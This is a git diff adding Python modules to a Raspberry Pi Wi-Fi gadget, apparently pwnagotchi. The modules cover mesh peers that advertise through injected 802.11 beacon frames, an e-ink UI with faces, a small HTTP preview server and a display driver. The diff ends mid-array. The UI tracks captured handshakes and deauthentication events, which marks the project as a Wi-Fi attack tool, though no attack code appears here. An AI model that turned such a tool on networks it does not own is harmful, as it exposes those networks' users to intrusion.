b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/__init__.py new file mode 100644 index 0000000..14403d2 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/__init__.py @@ -0,0 +1,14 @@ +import os + +from Crypto.PublicKey import RSA +import hashlib + +def new_session_id(): + return ':'.join(['%02x' % b for b in os.urandom(6)]) + + +def get_identity(config): + pubkey = None + with open(config['main']['pubkey']) as fp: + pubkey = RSA.importKey(fp.read()) + return pubkey, hashlib.sha1(pubkey.exportKey('DER')).hexdigest() diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/advertise.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/advertise.py new file mode 100644 index 0000000..c5313eb --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/advertise.py @@ -0,0 +1,220 @@ +import time +import json +import _thread +import threading +from scapy.all import Dot11, Dot11FCS, Dot11Elt, RadioTap, sendp, sniff + +import core +import pwnagotchi +import pwnagotchi.ui.faces as faces + +from pwnagotchi.mesh import get_identity +import pwnagotchi.mesh.wifi as wifi +from pwnagotchi.mesh import new_session_id +from pwnagotchi.mesh.peer import Peer + + +def _dummy_peer_cb(peer): + pass + + +class Advertiser(object): + MAX_STALE_TIME = 300 + + def __init__(self, iface, name, version, identity, period=0.3, data={}): + self._iface = iface + self._period = period + self._running = False + self._stopped = threading.Event() + self._peers_lock = threading.Lock() + self._adv_lock = threading.Lock() + self._new_peer_cb = _dummy_peer_cb + self._lost_peer_cb = _dummy_peer_cb + self._peers = {} + self._frame = None + self._me = Peer(new_session_id(), 0, 0, { + 'name': name, + 'version': version, + 'identity': identity, + 'face': faces.FRIEND, + 'pwnd_run': 0, + 'pwnd_tot': 0, + 'uptime': 0, + 'epoch': 0, + 'data': data + }) + self.update() + + def update(self, values={}): + with self._adv_lock: + for field, value in values.items(): + self._me.adv[field] = value + self._frame = wifi.encapsulate(payload=json.dumps(self._me.adv), addr_from=self._me.session_id) + + def on_peer(self, new_cb, lost_cb): + self._new_peer_cb = new_cb + self._lost_peer_cb = lost_cb + + def on_face_change(self, old, new): + # core.log("face change: %s -> %s" % (old, new)) + self.update({'face': new}) + + def start(self): + self._running = True + _thread.start_new_thread(self._sender, ()) + _thread.start_new_thread(self._listener, ()) + _thread.start_new_thread(self._pruner, ()) + + def num_peers(self): + with self._peers_lock: + return len(self._peers) + + def peers(self): + with self._peers_lock: + return list(self._peers.values()) + + def closest_peer(self): + closest = None + with self._peers_lock: + for ident, peer in self._peers.items(): + if closest is None or peer.is_closer(closest): + closest = peer + return closest + + def stop(self): + self._running = False + self._stopped.set() + + def _sender(self): + core.log("started advertiser thread (period:%s sid:%s) ..." % (str(self._period), self._me.session_id)) + while self._running: + try: + sendp(self._frame, iface=self._iface, verbose=False, count=5, inter=self._period) + except Exception as e: + core.log("error: %s" % e) + time.sleep(self._period) + + def _on_advertisement(self, src_session_id, channel, rssi, adv): + ident = adv['identity'] + with self._peers_lock: + if ident not in self._peers: + peer = Peer(src_session_id, channel, rssi, adv) + core.log("detected unit %s (v%s) on channel %d (%s dBm) [sid:%s pwnd_tot:%d uptime:%d]" % ( \ + peer.full_name(), + peer.version(), + channel, + rssi, + src_session_id, + peer.pwnd_total(), + peer.uptime())) + + self._peers[ident] = peer + self._new_peer_cb(peer) + else: + self._peers[ident].update(src_session_id, channel, rssi, adv) + + def _parse_identity(self, radio, dot11, dot11elt): + payload = b'' + while dot11elt: + payload += dot11elt.info + dot11elt = dot11elt.payload.getlayer(Dot11Elt) + + if payload != b'': + adv = json.loads(payload) + self._on_advertisement( \ + dot11.addr3, + wifi.freq_to_channel(radio.Channel), + radio.dBm_AntSignal, + adv) + + def _is_broadcasted_advertisement(self, dot11): + # dst bcast + protocol signature + not ours + return dot11 is not None and \ + dot11.addr1 == wifi.BroadcastAddress and \ + dot11.addr2 == wifi.SignatureAddress and \ + dot11.addr3 != self._me.session_id + + def _is_frame_for_us(self, dot11): + # dst is us + protocol signature + not ours (why would we send a frame to ourself anyway?) + return dot11 is not None and \ + dot11.addr1 == self._me.session_id and \ + dot11.addr2 == wifi.SignatureAddress and \ + dot11.addr3 != self._me.session_id + + def _on_packet(self, p): + # https://github.com/secdev/scapy/issues/1590 + if p.haslayer(Dot11): + dot11 = p[Dot11] + elif p.haslayer(Dot11FCS): + dot11 = p[Dot11FCS] + else: + dot11 = None + + if self._is_broadcasted_advertisement(dot11): + try: + dot11elt = p.getlayer(Dot11Elt) + if dot11elt.ID == wifi.Dot11ElemID_Identity: + self._parse_identity(p[RadioTap], dot11, dot11elt) + + else: + raise Exception("unknown frame id %d" % dot11elt.ID) + + except Exception as e: + core.log("error decoding packet from %s: %s" % (dot11.addr3, e)) + + def _listener(self): + # core.log("started advertisements listener ...") + expr = "type mgt subtype beacon and ether src %s" % wifi.SignatureAddress + sniff(iface=self._iface, filter=expr, prn=self._on_packet, store=0, stop_filter=lambda x: self._stopped.isSet()) + + def _pruner(self): + while self._running: + time.sleep(10) + with self._peers_lock: + stale = [] + for ident, peer in self._peers.items(): + inactive_for = peer.inactive_for() + if inactive_for >= Advertiser.MAX_STALE_TIME: + core.log("peer %s lost (inactive for %ds)" % (peer.full_name(), inactive_for)) + self._lost_peer_cb(peer) + stale.append(ident) + + for ident in stale: + del self._peers[ident] + + +class AsyncAdvertiser(object): + def __init__(self, config, view): + self._config = config + self._view = view + self._public_key, self._identity = get_identity(config) + self._advertiser = None + + def start_advertising(self): + _thread.start_new_thread(self._adv_worker, ()) + + def _adv_worker(self): + # this will take some time due to scapy being slow to be imported ... + from pwnagotchi.mesh.advertise import Advertiser + + self._advertiser = Advertiser( + self._config['main']['iface'], + pwnagotchi.name(), + pwnagotchi.version, + self._identity, + period=0.3, + data=self._config['personality']) + + self._advertiser.on_peer(self._on_new_unit, self._on_lost_unit) + + if self._config['personality']['advertise']: + self._advertiser.start() + self._view.on_state_change('face', self._advertiser.on_face_change) + else: + core.log("advertising is disabled") + + def _on_new_unit(self, peer): + self._view.on_new_peer(peer) + + def _on_lost_unit(self, peer): + self._view.on_lost_peer(peer) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/peer.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/peer.py new file mode 100644 index 0000000..6f9f1f9 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/peer.py @@ -0,0 +1,66 @@ +import time + +import pwnagotchi.mesh.wifi as wifi +import pwnagotchi.ui.faces as faces +import core + + +class Peer(object): + def __init__(self, sid, channel, rssi, adv): + self.first_seen = time.time() + self.last_seen = self.first_seen + self.session_id = sid + self.last_channel = channel + self.presence = [0] * wifi.NumChannels + self.adv = adv + self.rssi = rssi + self.presence[channel - 1] = 1 + + def update(self, sid, channel, rssi, adv): + if self.name() != adv['name']: + core.log("peer %s changed name: %s -> %s" % (self.full_name(), self.name(), adv['name'])) + + if self.session_id != sid: + core.log("peer %s changed session id: %s -> %s" % (self.full_name(), self.session_id, sid)) + + self.presence[channel - 1] += 1 + self.adv = adv + self.rssi = rssi + self.session_id = sid + self.last_seen = time.time() + + def inactive_for(self): + return time.time() - self.last_seen + + def _adv_field(self, name, default='???'): + return self.adv[name] if name in self.adv else default + + def face(self): + return self._adv_field('face', default=faces.FRIEND) + + def name(self): + return self._adv_field('name') + + def identity(self): + return self._adv_field('identity') + + def version(self): + return self._adv_field('version') + + def pwnd_run(self): + return int(self._adv_field('pwnd_run', default=0)) + + def pwnd_total(self): + return int(self._adv_field('pwnd_tot', default=0)) + + def uptime(self): + return self._adv_field('uptime', default=0) + + def epoch(self): + return self._adv_field('epoch', default=0) + + def full_name(self): + return '%s@%s' % (self.name(), self.identity()) + + def is_closer(self, other): + return self.rssi > other.rssi diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/wifi.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/wifi.py new file mode 100644 index 0000000..e94ffbc --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/wifi.py @@ -0,0 +1,37 @@ +SignatureAddress = 'de:ad:be:ef:de:ad' +BroadcastAddress = 'ff:ff:ff:ff:ff:ff' +Dot11ElemID_Identity = 222 +NumChannels = 14 + +def freq_to_channel(freq): + if freq <= 2472: + return int(((freq - 2412) / 5) + 1) + elif freq == 2484: + return int(14) + elif 5035 <= freq <= 5865: + return int(((freq - 5035) / 5) + 7) + else: + return 0 + + +def encapsulate(payload, addr_from, addr_to=BroadcastAddress): + from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap + + radio = RadioTap() + dot11 = Dot11(type=0, subtype=8, addr1=addr_to, addr2=SignatureAddress, addr3=addr_from) + beacon = Dot11Beacon(cap='ESS') + frame = radio / dot11 / beacon + + data_size = len(payload) + data_left = data_size + data_off = 0 + chunk_size = 255 + + while data_left > 0: + sz = min(chunk_size, data_left) + chunk = payload[data_off: data_off + sz] + frame /= Dot11Elt(ID=Dot11ElemID_Identity, info=chunk, len=sz) + data_off += sz + data_left -= sz + + return frame diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/__init__.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/__init__.py @@ -0,0 +1 @@ + diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/components.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/components.py new file mode 100644 index 0000000..2d8b2f5 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/components.py @@ -0,0 +1,66 @@ +from PIL import Image + + +class Widget(object): + def __init__(self, xy, color=0): + self.xy = xy + self.color = color + + def draw(self, canvas, drawer): + raise Exception("not implemented") + + +class Bitmap(Widget): + def __init__(self, path, xy, color=0): + super().__init__(xy, color) + self.image = Image.open(path) + + def draw(self, canvas, drawer): + canvas.paste(self.image, self.xy) + + +class Line(Widget): + def __init__(self, xy, color=0, width=1): + super().__init__(xy, color) + self.width = width + + def draw(self, canvas, drawer): + drawer.line(self.xy, fill=self.color, width=self.width) + + +class Rect(Widget): + def draw(self, canvas, drawer): + drawer.rectangle(self.xy, outline=self.color) + + +class FilledRect(Widget): + def draw(self, canvas, drawer): + drawer.rectangle(self.xy, fill=self.color) + + +class Text(Widget): + def __init__(self, value="", position=(0, 0), font=None, color=0): + super().__init__(position, color) + self.value = value + self.font = font + + def draw(self, canvas, drawer): + if self.value is not None: + drawer.text(self.xy, self.value, font=self.font, fill=self.color) + + +class LabeledValue(Widget): + def __init__(self, label, value="", position=(0, 0), label_font=None, text_font=None, color=0): + super().__init__(position, color) + self.label = label + self.value = value + self.label_font = label_font + self.text_font = text_font + + def draw(self, canvas, drawer): + if self.label is None: + drawer.text(self.xy, self.value, font=self.label_font, fill=self.color) + else: + pos = self.xy + drawer.text(pos, self.label, font=self.label_font, fill=self.color) + drawer.text((pos[0] + 5 + 5 * len(self.label), pos[1]), self.value, font=self.text_font, fill=self.color) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py new file mode 100644 index 0000000..5a1d03d --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/display.py @@ -0,0 +1,123 @@ +import _thread +from threading import Lock + +import io +import core +import pwnagotchi + +from pwnagotchi.ui.view import WHITE, View + +from http.server import BaseHTTPRequestHandler, HTTPServer + + +class VideoHandler(BaseHTTPRequestHandler): + _lock = Lock() + _buffer = None + _index = """ + + %s + + + + + + +""" + + @staticmethod + def render(img): + with VideoHandler._lock: + writer = io.BytesIO() + img.save(writer, format='PNG') + VideoHandler._buffer = writer.getvalue() + + def log_message(self, format, *args): + return + + def _w(self, data): + try: + self.wfile.write(data) + except: + pass + + def do_GET(self): + if self._buffer is None: + self.send_response(404) + + elif self.path == '/': + self.send_response(200) + self.send_header('Content-type', 'text/html') + self.end_headers() + self._w(bytes(self._index % (pwnagotchi.name(), 1000), "utf8")) + + elif self.path.startswith('/ui'): + with self._lock: + self.send_response(200) + self.send_header('Content-type', 'image/png') + self.send_header('Content-length', '%d' % len(self._buffer)) + self.end_headers() + self._w(self._buffer) + else: + self.send_response(404) + + +class Display(View): + def __init__(self, config, state={}): + super(Display, self).__init__(config, state) + self._enabled = config['ui']['display']['enabled'] + self._rotation = config['ui']['display']['rotation'] + self._video_enabled = config['ui']['display']['video']['enabled'] + self._video_port = config['ui']['display']['video']['port'] + self._video_address = config['ui']['display']['video']['address'] + self._display = None + self._httpd = None + self.canvas = None + + if self._enabled: + self._init_display() + else: + self.on_render(self._on_view_rendered) + core.log("display module is disabled") + + if self._video_enabled: + _thread.start_new_thread(self._http_serve, ()) + + def _http_serve(self): + if self._video_address is not None: + self._httpd = HTTPServer((self._video_address, self._video_port), VideoHandler) + core.log("ui available at http://%s:%d/" % (self._video_address, self._video_port)) + self._httpd.serve_forever() + else: + core.log("could not get ip of usb0, video server not starting") + + def _init_display(self): + from pwnagotchi.ui.waveshare import EPD + # core.log("display module started") + self._display = EPD() + self._display.init(self._display.FULL_UPDATE) + self._display.Clear(WHITE) + self._display.init(self._display.PART_UPDATE) + self.on_render(self._on_view_rendered) + + def image(self): + img = None + if self.canvas is not None: + img = self.canvas if self._rotation == 0 else self.canvas.rotate(-self._rotation) + return img + + def _on_view_rendered(self, img): + # core.log("display::_on_view_rendered") + VideoHandler.render(img) + + if self._enabled: + self.canvas = img if self._rotation == 0 else img.rotate(self._rotation) + buf = self._display.getbuffer(self.canvas) + self._display.displayPartial(buf) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/faces.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/faces.py new file mode 100644 index 0000000..d8db305 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/faces.py @@ -0,0 +1,17 @@ +LOOK_R = '(⌐■_■)' +LOOK_L = '(■_■-)' +SLEEP = '(=‿‿=)' +SLEEP2 = '(◕‿‿-)' +AWAKE = '(◕‿‿◕)' +BORED = '(-‿‿-)' +INTENSE = '(°‿‿°)' +COOL = '(⌐0_0)' +HAPPY = '(^‿‿^)' +EXCITED = '(*‿‿*)' +MOTIVATED = '(*‿‿*)' +DEMOTIVATED = '(╥__╥)' +SMART = '(^‿‿^)' +LONELY = '(╥__╥)' +SAD = '(╥__╥)' +FRIEND = '(♥‿‿♥)' +BROKEN = '(x‿‿x)' diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/fonts.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/fonts.py new file mode 100644 index 0000000..a8081b8 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/fonts.py @@ -0,0 +1,8 @@ +from PIL import ImageFont + +PATH = '/usr/share/fonts/truetype/dejavu/DejaVuSansMono' + +Bold = ImageFont.truetype("%s-Bold.ttf" % PATH, 10) +BoldSmall = ImageFont.truetype("%s-Bold.ttf" % PATH, 9) +Medium = ImageFont.truetype("%s.ttf" % PATH, 10) +Huge = ImageFont.truetype("%s-Bold.ttf" % PATH, 35) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/state.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/state.py new file mode 100644 index 0000000..71b7d4e --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/state.py @@ -0,0 +1,28 @@ +from threading import Lock + + +class State(object): + def __init__(self, state={}): + self._state = state + self._lock = Lock() + self._listeners = {} + + def add_listener(self, key, cb): + with self._lock: + self._listeners[key] = cb + + def items(self): + with self._lock: + return self._state.items() + + def get(self, key): + with self._lock: + return self._state[key].value if key in self._state else None + + def set(self, key, value): + with self._lock: + if key in self._state: + prev = self._state[key].value + self._state[key].value = value + if key in self._listeners and self._listeners[key] is not None and prev != value: + self._listeners[key](prev, value) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py new file mode 100644 index 0000000..899e76a --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/view.py @@ -0,0 +1,303 @@ +import _thread +from threading import Lock +import time +from PIL import Image, ImageDraw + +import core +import pwnagotchi +from pwnagotchi import voice + +import pwnagotchi.ui.fonts as fonts +import pwnagotchi.ui.faces as faces +from pwnagotchi.ui.components import * +from pwnagotchi.ui.state import State + +WHITE = 0xff +BLACK = 0x00 +WIDTH = 122 +HEIGHT = 250 + + +class View(object): + def __init__(self, config, state={}): + self._render_cbs = [] + self._config = config + self._canvas = None + self._lock = Lock() + self._state = State(state={ + 'channel': LabeledValue(color=BLACK, label='CH', value='00', position=(0, 0), label_font=fonts.Bold, + text_font=fonts.Medium), + 'aps': LabeledValue(color=BLACK, label='APS', value='0 (00)', position=(30, 0), label_font=fonts.Bold, + text_font=fonts.Medium), + #'epoch': LabeledValue(color=BLACK, label='E', value='0000', position=(145, 0), label_font=fonts.Bold, + # text_font=fonts.Medium), + 'uptime': LabeledValue(color=BLACK, label='UP', value='00:00:00', position=(185, 0), label_font=fonts.Bold, + text_font=fonts.Medium), + + # 'square': Rect([1, 11, 124, 111]), + 'line1': Line([0, 13, 250, 13], color=BLACK), + 'line2': Line([0, 109, 250, 109], color=BLACK), + + # 'histogram': Histogram([4, 94], color = BLACK), + + 'face': Text(value=faces.SLEEP, position=(0, 40), color=BLACK, font=fonts.Huge), + + 'friend_face': Text(value=None, position=(0, 90), font=fonts.Bold, color=BLACK), + 'friend_name': Text(value=None, position=(40, 93), font=fonts.BoldSmall, color=BLACK), + + 'name': Text(value='%s>' % 'pwnagotchi', position=(125, 20), color=BLACK, font=fonts.Bold), + # 'face2': Bitmap( '/root/pwnagotchi/data/images/face_happy.bmp', (0, 20)), + 'status': Text(value=voice.default(), position=(125, 35), color=BLACK, font=fonts.Medium), + + 'shakes': LabeledValue(label='PWND ', value='0 (00)', color=BLACK, position=(0, 110), label_font=fonts.Bold, + text_font=fonts.Medium), + 'mode': Text(value='AUTO', position=(225, 110), font=fonts.Bold, color=BLACK), + }) + + for key, value in state.items(): + self._state.set(key, value) + + _thread.start_new_thread(self._refresh_handler, ()) + + def on_state_change(self, key, cb): + self._state.add_listener(key, cb) + + def on_render(self, cb): + if cb not in self._render_cbs: + self._render_cbs.append(cb) + + def _refresh_handler(self): + delay = 1.0 / self._config['ui']['fps'] + # core.log("view refresh handler started with period of %.2fs" % delay) + + while True: + name = self._state.get('name') + self.set('name', name.rstrip('█').strip() if '█' in name else (name + ' █')) + self.update() + time.sleep(delay) + + def set(self, key, value): + self._state.set(key, value) + + def on_starting(self): + self.set('status', voice.on_starting()) + self.set('face', faces.AWAKE) + + def on_ai_ready(self): + self.set('mode', '') + self.set('face', faces.HAPPY) + self.set('status', voice.on_ai_ready()) + self.update() + + def on_manual_mode(self, log): + self.set('mode', 'MANU') + self.set('face', faces.SAD if log.handshakes == 0 else faces.HAPPY) + self.set('status', voice.on_log(log)) + self.set('epoch', "%04d" % log.epochs) + self.set('uptime', log.duration) + self.set('channel', '-') + self.set('aps', "%d" % log.associated) + self.set('shakes', '%d (%s)' % (log.handshakes, \ + core.total_unique_handshakes(self._config['bettercap']['handshakes']))) + self.set_closest_peer(log.last_peer) + + def is_normal(self): + return self._state.get('face') not in ( + faces.INTENSE, + faces.COOL, + faces.BORED, + faces.HAPPY, + faces.EXCITED, + faces.MOTIVATED, + faces.DEMOTIVATED, + faces.SMART, + faces.SAD, + faces.LONELY) + + def on_normal(self): + self.set('face', faces.AWAKE) + self.set('status', voice.on_normal()) + self.update() + + def set_closest_peer(self, peer): + if peer is None: + self.set('friend_face', None) + self.set('friend_name', None) + else: + # ref. https://www.metageek.com/training/resources/understanding-rssi-2.html + if peer.rssi >= -67: + num_bars = 4 + elif peer.rssi >= -70: + num_bars = 3 + elif peer.rssi >= -80: + num_bars = 2 + else: + num_bars = 1 + + name = '▌' * num_bars + name += '│' * (4 - num_bars) + name += ' %s %d (%d)' % (peer.name(), peer.pwnd_run(), peer.pwnd_total()) + + self.set('friend_face', peer.face()) + self.set('friend_name', name) + self.update() + + def on_new_peer(self, peer): + self.set('face', faces.FRIEND) + self.set('status', voice.on_new_peer(peer)) + self.update() + + def on_lost_peer(self, peer): + self.set('face', faces.LONELY) + self.set('status', voice.on_lost_peer(peer)) + self.update() + + def on_free_channel(self, channel): + self.set('face', faces.SMART) + self.set('status', voice.on_free_channel(channel)) + self.update() + + def wait(self, secs, sleeping=True): + was_normal = self.is_normal() + part = secs / 10.0 + + for step in range(0, 10): + # if we weren't in a normal state before goin + # to sleep, keep that face and status on for + # a while, otherwise the sleep animation will + # always override any minor state change before it + if was_normal or step > 5: + if sleeping: + if secs > 1: + self.set('face', faces.SLEEP) + self.set('status', voice.on_napping(secs)) + else: + self.set('face', faces.SLEEP2) + self.set('status', voice.on_awakening()) + else: + self.set('status', voice.on_waiting(secs)) + if step % 2 == 0: + self.set('face', faces.LOOK_R) + else: + self.set('face', faces.LOOK_L) + + time.sleep(part) + secs -= part + + self.on_normal() + + def on_bored(self): + self.set('face', faces.BORED) + self.set('status', voice.on_bored()) + self.update() + + def on_sad(self): + self.set('face', faces.SAD) + self.set('status', voice.on_sad()) + self.update() + + def on_motivated(self, reward): + self.set('face', faces.MOTIVATED) + self.set('status', voice.on_motivated(reward)) + self.update() + + def on_demotivated(self, reward): + self.set('face', faces.DEMOTIVATED) + self.set('status', voice.on_demotivated(reward)) + self.update() + + def on_excited(self): + self.set('face', faces.EXCITED) + self.set('status', voice.on_excited()) + self.update() + + def on_assoc(self, ap): + self.set('face', faces.INTENSE) + self.set('status', voice.on_assoc(ap)) + self.update() + + def on_deauth(self, sta): + self.set('face', faces.COOL) + self.set('status', voice.on_deauth(sta)) + self.update() + + def on_miss(self, who): + self.set('face', faces.SAD) + self.set('status', voice.on_miss(who)) + self.update() + + def on_lonely(self): + self.set('face', faces.LONELY) + self.set('status', voice.on_lonely()) + self.update() + + def on_handshakes(self, new_shakes): + self.set('face', faces.HAPPY) + self.set('status', voice.on_handshakes(new_shakes)) + self.update() + + def on_rebooting(self): + self.set('face', faces.BROKEN) + self.set('status', voice.on_rebooting()) + self.update() + + def update(self): + """ + ncalls tottime percall cumtime percall filename:lineno(function) + + 19 0.001 0.000 0.007 0.000 Image.py:1137(copy) + 19 0.001 0.000 0.069 0.004 Image.py:1894(rotate) + 19 0.001 0.000 0.068 0.004 Image.py:2388(transpose) + 1 0.000 0.000 0.000 0.000 Image.py:2432(ImagePointHandler) + 1 0.000 0.000 0.000 0.000 Image.py:2437(ImageTransformHandler) + 19 0.001 0.000 0.001 0.000 Image.py:2455(_check_size) + 19 0.002 0.000 0.010 0.001 Image.py:2473(new) + 1 0.002 0.002 0.127 0.127 Image.py:30() + 1 0.000 0.000 0.001 0.001 Image.py:3103(_apply_env_variables) + 1 0.000 0.000 0.000 0.000 Image.py:3139(Exif) + 1 0.000 0.000 0.000 0.000 Image.py:495(_E) + 1 0.000 0.000 0.000 0.000 Image.py:536(Image) + 76 0.003 0.000 0.003 0.000 Image.py:552(__init__) + 19 0.000 0.000 0.000 0.000 Image.py:572(size) + 57 0.004 0.000 0.006 0.000 Image.py:576(_new) + 76 0.001 0.000 0.002 0.000 Image.py:595(__exit__) + 76 0.001 0.000 0.003 0.000 Image.py:633(__del__) + 1 0.000 0.000 0.000 0.000 Image.py:71(DecompressionBombWarning) + 1 0.000 0.000 0.000 0.000 Image.py:75(DecompressionBombError) + 1 0.000 0.000 0.000 0.000 Image.py:79(_imaging_not_installed) + 95 0.002 0.000 0.014 0.000 Image.py:842(load) + 19 0.001 0.000 0.008 0.000 Image.py:892(convert) + 1 0.000 0.000 0.000 0.000 ImageColor.py:20() + 297 0.012 0.000 0.042 0.000 ImageDraw.py:101(_getink) + 38 0.001 0.000 0.026 0.001 ImageDraw.py:153(line) + 295 0.005 0.000 0.007 0.000 ImageDraw.py:252(_multiline_check) + 8 0.000 0.000 0.001 0.000 ImageDraw.py:258(_multiline_split) + 267/247 0.033 0.000 1.741 0.007 ImageDraw.py:263(text) + 8 0.003 0.000 0.237 0.030 ImageDraw.py:282(multiline_text) + 28 0.001 0.000 0.064 0.002 ImageDraw.py:328(textsize) + 1 0.000 0.000 0.008 0.008 ImageDraw.py:33() + 19 0.002 0.000 0.006 0.000 ImageDraw.py:355(Draw) + 1 0.000 0.000 0.000 0.000 ImageDraw.py:47(ImageDraw) + 19 0.002 0.000 0.004 0.000 ImageDraw.py:48(__init__) + 1 0.000 0.000 0.000 0.000 ImageFont.py:123(FreeTypeFont) + 3 0.000 0.000 0.002 0.001 ImageFont.py:126(__init__) + 28 0.001 0.000 0.062 0.002 ImageFont.py:185(getsize) + 1 0.000 0.000 0.011 0.011 ImageFont.py:28() + 259 0.020 0.000 1.435 0.006 ImageFont.py:337(getmask2) + 1 0.000 0.000 0.000 0.000 ImageFont.py:37(_imagingft_not_installed) + 1 0.000 0.000 0.000 0.000 ImageFont.py:474(TransposedFont) + 3 0.000 0.000 0.003 0.001 ImageFont.py:517(truetype) + 3 0.000 0.000 0.002 0.001 ImageFont.py:542(freetype) + 1 0.000 0.000 0.000 0.000 ImageFont.py:65(ImageFont) + 1 0.000 0.000 0.000 0.000 ImageMode.py:17() + 1 0.000 0.000 0.000 0.000 ImageMode.py:20(ModeDescriptor) + """ + with self._lock: + self._canvas = Image.new('1', (HEIGHT, WIDTH), WHITE) + drawer = ImageDraw.Draw(self._canvas) + + for key, lv in self._state.items(): + lv.draw(self._canvas, drawer) + + for cb in self._render_cbs: + cb(self._canvas) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/waveshare.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/waveshare.py new file mode 100644 index 0000000..3286a3f --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/ui/waveshare.py @@ -0,0 +1,338 @@ +# //***************************************************************************** +# * | File : epd2in13.py +# * | Author : Waveshare team +# * | Function : Electronic paper driver +# * | Info : +# *---------------- +# * | This version: V3.0 +# * | Date : 2018-11-01 +# * | Info : python2 demo +# * 1.Remove: +# digital_write(self, pin, value) +# digital_read(self, pin) +# delay_ms(self, delaytime) +# set_lut(self, lut) +# self.lut = self.lut_full_update +# * 2.Change: +# display_frame -> TurnOnDisplay +# set_memory_area -> SetWindow +# set_memory_pointer -> SetCursor +# * 3.How to use +# epd = epd2in13.EPD() +# epd.init(epd.lut_full_update) +# image = Image.new('1', (epd2in13.EPD_WIDTH, epd2in13.EPD_HEIGHT), 255) +# ... +# drawing ...... +# ... +# epd.display(getbuffer(image)) +# ******************************************************************************// +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documnetation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and//or sell +# copies of the Software, and to permit persons to whom the Software is +# furished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# + +import time +import spidev +import RPi.GPIO as GPIO +from PIL import Image + +# Pin definition +RST_PIN = 17 +DC_PIN = 25 +CS_PIN = 8 +BUSY_PIN = 24 + +# SPI device, bus = 0, device = 0 +SPI = spidev.SpiDev(0, 0) + + +def digital_write(pin, value): + GPIO.output(pin, value) + + +def digital_read(pin): + return GPIO.input(BUSY_PIN) + + +def delay_ms(delaytime): + time.sleep(delaytime / 1000.0) + + +def spi_writebyte(data): + SPI.writebytes(data) + + +def module_init(): + GPIO.setmode(GPIO.BCM) + GPIO.setwarnings(False) + GPIO.setup(RST_PIN, GPIO.OUT) + GPIO.setup(DC_PIN, GPIO.OUT) + GPIO.setup(CS_PIN, GPIO.OUT) + GPIO.setup(BUSY_PIN, GPIO.IN) + SPI.max_speed_hz = 2000000 + SPI.mode = 0b00 + return 0; + + +# Display resolution +EPD_WIDTH = 122 +EPD_HEIGHT = 250 + + +class EPD: + def __init__(self): + self.reset_pin = RST_PIN + self.dc_pin = DC_PIN + self.busy_pin = BUSY_PIN + self.width = EPD_WIDTH + self.height = EPD_HEIGHT + + FULL_UPDATE = 0 + PART_UPDATE = 1 + lut_full_update = [ + 0x80, 0x60, 0x40, 0x00, 0x00, 0x00, 0x00, # LUT0: BB: VS 0 ~7 + 0x10, 0x60, 0x20, 0x00, 0x00, 0x00, 0x00, # LUT1: BW: VS 0 ~7 + 0x80, 0x60, 0x40, 0x00, 0x00, 0x00, 0x00, # LUT2: WB: VS 0 